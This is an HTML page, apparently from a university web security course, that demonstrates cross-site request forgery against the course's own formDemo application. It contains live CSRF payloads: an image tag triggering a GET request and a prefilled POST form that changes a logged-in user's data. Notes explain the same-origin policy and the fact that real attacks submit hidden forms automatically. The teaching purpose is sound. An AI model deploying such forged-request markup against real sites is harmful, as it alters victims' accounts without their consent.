<!DOCTYPE html>
<html>
    <head>
        <title>CSRF Attack Demot</title>
        <link href='/css/base.css' rel='stylesheet' type='text/css'></link>
        <style>
            .info{
                display: none;
            }
        </style>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>   
        <script src="/js/csrf.js"></script>   
        <script>            
            // demo CSP
            console.log("this won't execute");
        </script>       
    </head>
    <body>        
        <h1>CSRF Attack Demo</h1>   

        <div>The following is a simplified version of CSRF attacks, the attacks are performed on the <a href="http://iems5718-demo.appspot.com">formDemo</a> application.</div>
        <hr>
     

        <h2>CSRF on GET </h2>
        <img src="http://iems5718-demo.appspot.com/edit/form"/>  

        <div>            
            <span>CSRF Attack on GET request has no impact if the "GET" request cannot change anything on the server</span>
            <input type="button" name="expand" value="details">
            <ul class="info">
                <li>Take a look at the "Developer console" > "Network" (might require refresh), see the cookie is sent as well.</li>
                <li>However, the attacker cannot read the response because 1) the response is in user's browsers and 2) because of SOP </li>
            </ul>        
        </div>
        <hr>
        <h2>CSRF on POST</h2>
        <div>The following is CSRF Post Attack</div>
        <div>How it works</div>
        <ul>
            <li>Log in the formDemo and submit your data via the form</li>
            <li>Now, open another tab, and load this page</li>
            <li>Modify the data in the form below and submit</li>
            <li>Your data in the formDemo will be changed</li>
        </ul>

        <form method="POST" action="http://iems5718-demo.appspot.com/submit/form">
            name:<input name="name" type="text" value="CSRF!"><br><br>
            age:<input name="age" type="number" value='99'><br><br>            
            <input type="submit">            
        </form>
        <br/>
        <div>
            <input type="button" name="expand" value="details">
            <ul class="info">        
                <li>In a real attack, the form would be submitted programmatically, and the form could be hidden in a iframe and covered.</li>
                <li>The attacks can be inside a malicious site or sent via email, forum etc.</li>
            </ul>
        </div>
        <hr>
        <h2>CSRF: How about Ajax?</h2>
        <span>Click this button will execute an Ajax request to submit the form data</span><input type="button" id="ajax_button" value="Try Ajax"/>
        <div>
            <span>An Ajax attempt on CSRF would fail, why? </span>    
            <input type="button" name="expand" value="details">
            <ul class="info">
                <li>Because of the Same-Origin-Policy</li>            
                <li>Check the console for error messages</li>
            </ul>
        </div>

        <a href="/">Home</a>
    </body>
</html>